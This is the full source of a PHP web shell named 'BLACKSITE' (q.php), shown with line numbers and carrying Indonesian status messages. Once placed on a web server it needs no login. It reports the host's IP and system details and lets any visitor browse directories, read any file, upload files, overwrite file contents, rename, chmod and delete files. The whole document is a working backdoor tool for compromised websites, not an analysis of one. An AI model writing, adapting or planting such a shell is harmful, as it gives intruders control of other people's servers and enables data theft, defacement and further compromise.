q.php 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351
  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. @ini_set('output_buffering', 0);
  5. @ini_set('display_errors', 0);
  6. ini_set('memory_limit', '64M');
  7. header('Content-Type: text/html; charset=UTF-8');
  8. echo '<!DOCTYPE HTML>
  9. <link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
  10. <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
  11. <center>
  12. <style type="text/css">
  13. body {
  14. font-family: Kelly Slab;
  15. background-color: black;
  16. color: lime;
  17. }
  18. #content tr:hover{
  19. background-color: grey;
  20. text-shadow:0px 0px 10px #000000;
  21. }
  22. #content .first{
  23. color: #000000;
  24. background-image:url(#);
  25. }
  26. #content .first:hover{
  27. background-color: grey;
  28. text-shadow:0px 0px 1px #339900;
  29. }
  30. table, th, td {
  31. border-collapse:collapse;
  32. padding: 5px;
  33. color: lime;
  34. }
  35. .table_home, .th_home, .td_home {
  36. color: lime;
  37. border: 2px solid grey;
  38. padding: 7px;
  39. }
  40. a{
  41. font-size: 19px;
  42. color: #00ff00;
  43. text-decoration: none;
  44. }
  45. a:hover{
  46. color: white;
  47. text-shadow:0px 0px 10px #339900;
  48. }
  49. input,select,textarea{
  50. border: 1px #ffffff solid;
  51. -moz-border-radius: 5px;
  52. -webkit-border-radius:5px;
  53. border-radius:5px;
  54. }
  55. .close {
  56. overflow: auto;
  57. border: 1px solid lime;
  58. background: lime;
  59. color: white;
  60. }
  61. .r {
  62. float: right;
  63. text-align: right;
  64. }
  65. </style>
  66. <a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
  67. BLACKSITE </h1></a>
  68. <BODY>
  69. <table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
  70. <tr><td>';
  71. echo "<tr><td><font color='white'>
  72. <i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>
  73. <i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>
  74. <i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
  75. echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
  76. <tr align="center"><td align="center"><br>';
  77. if (isset($_GET['path'])) {
  78. $path = $_GET['path'];
  79. } else {
  80. $path = getcwd();
  81. }
  82. $path = str_replace('\\', '/', $path);
  83. $paths = explode('/', $path);
  84. foreach ($paths as $id => $pat) {
  85. if ($pat == '' && $id == 0) {
  86. $a = true;
  87. echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
  88. continue;
  89. }
  90. if ($pat == '') continue;
  91. echo '<a href="?path=';
  92. for ($i = 0; $i <= $id; $i++) {
  93. echo "$paths[$i]";
  94. if ($i != $id) echo "/";
  95. }
  96. echo '">' . $pat . '</a>/';
  97. }
  98. //upload
  99. echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
  100. Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
  101. <input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
  102. if (isset($_FILES['file'])) {
  103. if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
  104. echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
  105. } else {
  106. echo '<script>alert("File Gagal Diupload !!")</script>';
  107. }
  108. }
  109. echo '</form></td></tr>';
  110. if (isset($_GET['filesrc'])) {
  111. echo "<tr><td>files >> ";
  112. echo $_GET['filesrc'];
  113. echo '</tr></td></table><br />';
  114. echo (' <textarea style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>');
  115. } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
  116. echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
  117. //Chmod
  118. if ($_POST['opt'] == 'chmod') {
  119. if (isset($_POST['perm'])) {
  120. if (chmod($_POST['path'], $_POST['perm'])) {
  121. echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
  122. } else {
  123. echo '<script>alert("Change Permission Gagal !!")</script>';
  124. }
  125. }
  126. echo '<form method="POST">
  127. Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
  128. <input type="hidden" name="path" value="' . $_POST['path'] . '">
  129. <input type="hidden" name="opt" value="chmod">
  130. <input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
  131. </form>';
  132. }
  133. //rename folder
  134. elseif ($_GET['opt'] == 'btw') {
  135. $cwd = getcwd();
  136. echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
  137. New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
  138. <input type="hidden" name="path" value="' . $cwd . '">
  139. <input type="hidden" name="opt" value="delete">
  140. <input type="submit" value="Go" style="width:100px; height: 30px;"/>
  141. </form>';
  142. }
  143. //rename file
  144. elseif ($_POST['opt'] == 'rename') {
  145. if (isset($_POST['newname'])) {
  146. if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
  147. echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
  148. } else {
  149. echo '<script>alert("Change Name Gagal !!")</script>';
  150. }
  151. $_POST['name'] = $_POST['newname'];
  152. }
  153. echo '<form method="POST">
  154. New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
  155. <input type="hidden" name="path" value="' . $_POST['path'] . '">
  156. <input type="hidden" name="opt" value="rename">
  157. <input type="submit" value="Lanjut" style="height:30px;" />
  158. </form>';
  159. }
  160. //edit file
  161. elseif ($_POST['opt'] == 'edit') {
  162. if (isset($_POST['src'])) {
  163. $fp = fopen($_POST['path'], 'w');
  164. if (fwrite($fp, $_POST['src'])) {
  165. echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
  166. } else {
  167. echo '<script>alert("Edit File Gagal !!")</script>';
  168. }
  169. fclose($fp);
  170. }
  171. echo '<form method="POST">
  172. <textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
  173. <input type="hidden" name="path" value="' . $_POST['path'] . '">
  174. <input type="hidden" name="opt" value="edit">
  175. <input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
  176. </form>';
  177. }
  178. echo '</center>';
  179. } else {
  180. echo '</table><br /><center>';
  181. //delete dir
  182. if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
  183. if ($_POST['type'] == 'dir') {
  184. if (rmdir($_POST['path'])) {
  185. echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
  186. } else {
  187. echo '<script>alert("Delete Dir Gagal !!")</script>>';
  188. }
  189. }
  190. //delete file
  191. elseif ($_POST['type'] == 'file') {
  192. if (unlink($_POST['path'])) {
  193. echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
  194. } else {
  195. echo '<script>alert("Delete File Gagal !!")</script>';
  196. }
  197. }
  198. }
  199. ?>
  200. <?php
  201. echo '</center>';
  202. $scandir = scandir($path);
  203. $pa = getcwd();
  204. echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  205. <tr class="first">
  206. <th><center>Name</center></th>
  207. <th><center>Size</center></th>
  208. <th><center>Perm</center></th>
  209. <th><center>Options</center></th>
  210. </tr>
  211. <tr>';
  212. foreach ($scandir as $dir) {
  213. if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  214. echo "<tr>
  215. <td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
  216. <td class=td_home><center>DIR</center></td>
  217. <td class=td_home><center>";
  218. if (is_writable("$path/$dir")) echo '<font color="#57FF00">';
  219. elseif (!is_readable("$path/$dir")) echo '<font color="#FF0004">';
  220. echo perms("$path/$dir");
  221. if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  222. echo "</center></td>
  223. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  224. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  225. <option value=\"Action\">Action</option>
  226. <option value=\"delete\">Delete</option>
  227. <option value=\"chmod\">Chmod</option>
  228. <option value=\"rename\">Rename</option>
  229. </select>
  230. <input type=\"hidden\" name=\"type\" value=\"dir\">
  231. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  232. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  233. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  234. </form></center></td>
  235. </tr>";
  236. }
  237. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  238. foreach ($scandir as $file) {
  239. if (!is_file("$path/$file")) continue;
  240. $size = filesize("$path/$file") / 1024;
  241. $size = round($size, 3);
  242. if ($size >= 1024) {
  243. $size = round($size / 1024, 2) . ' MB';
  244. } else {
  245. $size = $size . ' KB';
  246. }
  247. echo "<tr>
  248. <td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
  249. <td class=td_home><center>" . $size . "</center></td>
  250. <td class=td_home><center>";
  251. if (is_writable("$path/$file")) echo '<font color="#57FF00">';
  252. elseif (!is_readable("$path/$file")) echo '<font color="#FF0004">';
  253. echo perms("$path/$file");
  254. if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  255. echo "</center></td>
  256. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  257. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  258. <option value=\"Action\">Action</option>
  259. <option value=\"delete\">Delete</option>
  260. <option value=\"edit\">Edit</option>
  261. <option value=\"rename\">Rename</option>
  262. <option value=\"chmod\">Chmod</option>
  263. </select>
  264. <input type=\"hidden\" name=\"type\" value=\"file\">
  265. <input type=\"hidden\" name=\"name\" value=\"$file\">
  266. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  267. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  268. </form></center></td>
  269. </tr>";
  270. }
  271. echo '</table>
  272. </div>';
  273. }
  274. function perms($file)
  275. {
  276. $perms = fileperms($file);
  277. if (($perms & 0xC000) == 0xC000) {
  278. // Socket
  279. $info = 's';
  280. } elseif (($perms & 0xA000) == 0xA000) {
  281. // Symbolic Link
  282. $info = 'l';
  283. } elseif (($perms & 0x8000) == 0x8000) {
  284. // Regular
  285. $info = '-';
  286. } elseif (($perms & 0x6000) == 0x6000) {
  287. // Block special
  288. $info = 'b';
  289. } elseif (($perms & 0x4000) == 0x4000) {
  290. // Directory
  291. $info = 'd';
  292. } elseif (($perms & 0x2000) == 0x2000) {
  293. // Character special
  294. $info = 'c';
  295. } elseif (($perms & 0x1000) == 0x1000) {
  296. // FIFO pipe
  297. $info = 'p';
  298. } else {
  299. // Unknown
  300. $info = 'u';
  301. }
  302. // Owner
  303. $info .= (($perms & 0x0100) ? 'r' : '-');
  304. $info .= (($perms & 0x0080) ? 'w' : '-');
  305. $info .= (($perms & 0x0040) ?
  306. (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  307. // Group
  308. $info .= (($perms & 0x0020) ? 'r' : '-');
  309. $info .= (($perms & 0x0010) ? 'w' : '-');
  310. $info .= (($perms & 0x0008) ?
  311. (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  312. // World
  313. $info .= (($perms & 0x0004) ? 'r' : '-');
  314. $info .= (($perms & 0x0002) ? 'w' : '-');
  315. $info .= (($perms & 0x0001) ?
  316. (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  317. return $info;
  318. }
  319. ?>
  320. </BODY>
  321. </HTML>